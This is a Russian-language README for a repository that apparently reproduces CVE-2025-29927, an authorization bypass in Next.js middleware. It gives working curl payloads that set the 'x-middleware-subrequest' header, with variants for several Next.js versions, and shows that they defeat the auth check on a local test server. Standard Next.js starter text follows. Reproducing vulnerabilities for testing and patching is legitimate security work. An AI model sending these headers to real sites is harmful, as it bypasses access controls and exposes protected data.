
Воспроизведение обхода авторизации CVE-2025-29927 в middleware Next.js с использованием эксплойт-пейлоадов на основе curl для нескольких версий.
Этот репозиторий является воспроизведением уязвимости CVE-2025-29927 в пакете next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 раз в специальный заголовок x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
В версиях Next.js 12 и 13 использовалась другая конвенция именования файла middleware (_middleware.js), которая была изменена на middleware.js в Next.js 14. Эту уязвимость можно эксплуатировать в старых версиях, используя файл _middleware.js.
Например, следующие полезные нагрузки будут применимы в зависимости от версии Next.js и вашей конвенции маршрутизации:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (для версий Next.js 12.2 с файлом middleware.js в корне приложения, а не внутри директории pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (для версий Next.js 11 и до 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloСначала запустите сервер разработки:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Откройте http://localhost:3000 в вашем браузере, чтобы увидеть результат.
Вы можете начать редактирование страницы, изменив app/page.js. Страница автоматически обновляется при редактировании файла.
Этот проект использует next/font для автоматической оптимизации и загрузки Geist, нового семейства шрифтов для Vercel.
Чтобы узнать больше о Next.js, ознакомьтесь со следующими ресурсами:
Вы можете посетить репозиторий Next.js на GitHub — ваши отзывы и вклад приветствуются!
Самый простой способ развернуть ваше приложение Next.js — использовать Платформу Vercel от создателей Next.js.
Ознакомьтесь с нашей документацией по развертыванию Next.js для получения более подробной информации.